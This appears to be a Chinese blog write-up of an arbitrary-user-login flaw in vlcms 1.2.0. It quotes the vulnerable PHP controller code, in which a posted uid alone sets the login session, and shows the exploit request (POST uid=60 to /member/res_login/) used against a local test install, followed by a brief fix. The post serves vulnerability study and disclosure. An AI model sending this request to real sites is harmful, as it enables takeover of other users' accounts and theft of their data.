逻辑漏洞之任意用户登陆漏洞

环境

环境: Web: phpstudy 5.4.45
System: Windows 10x64
源码版本为:vlcms_1.2.0

什么是任意用户登录漏洞

几乎每个网站都有自己的会员系统,有会员,就有登录机制,如果可以登录其他用户账户,那么就可以窃取其他用户的资料数据。如果配合上脚本的话,甚至可以批量获取用户的数据。对网站来说,任意用户登录是一个很高危的漏洞。

环境搭建

image.png

 

创建数据库

 

image.png

 

查看网站是否可以正常访问

 

image.png

漏洞的利用

1、案例分析
vlcms/Application/Media/Controller/MemberController.class.php

post获取uid传进autoLogin()中

 

public function res_login(){
                parent::autoLogin($_POST['uid']);
                echo $this->ajaxReturn(array("status"=>0,"uid"=>$_POST['uid']));
        }

将id传进entity()。

 

protected function autoLogin($uid){
                $user =$this->entity($uid);
        /* 记录登录SESSION和COOKIES */
        $auth = array(
            'mid'             => $user['id'],
            'account'             => $user['account'],
            'nickname'        => $user['nickname'],
            'balance'         => $user['balance'],
            'last_login_time' => $user['login_time'],
        );
        session('member_auth', $auth);
        session('member_auth_sign', data_auth_sign($auth));
        }

entity中直接根据id查询账户了。。所以只需一个id就能登录任意用户

 

protected function entity($id){
                $data = M('User','tab_')->find($id);
                if(empty($data)){
                        return false;
                }
                return $data;
        }

案例的利用

1、先注册几个账号

 

image.png

2、访问url:
http://127.0.0.1/vlcms_1.2.0//index.php?s=/member/res_login/
post:uid=60
访问后,返回一串代码

image.png


接着访问http://127.0.0.1/vlcms_1.2.0//index.php?s=/member/,可以看到,已经成功登录账户

image.png


访问post:uid=61

image.png


接着访问
http://127.0.0.1/vlcms_1.2.0//index.php?s=/member/,可以看到已经成功登陆账号了,登陆uid为61的账号

image.png


查看数据库里面uid61的账号为:

image.png

 

修复建议

不要用id来判断账户身份



作者:二潘
链接:https://www.jianshu.com/p/ed3695059897
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值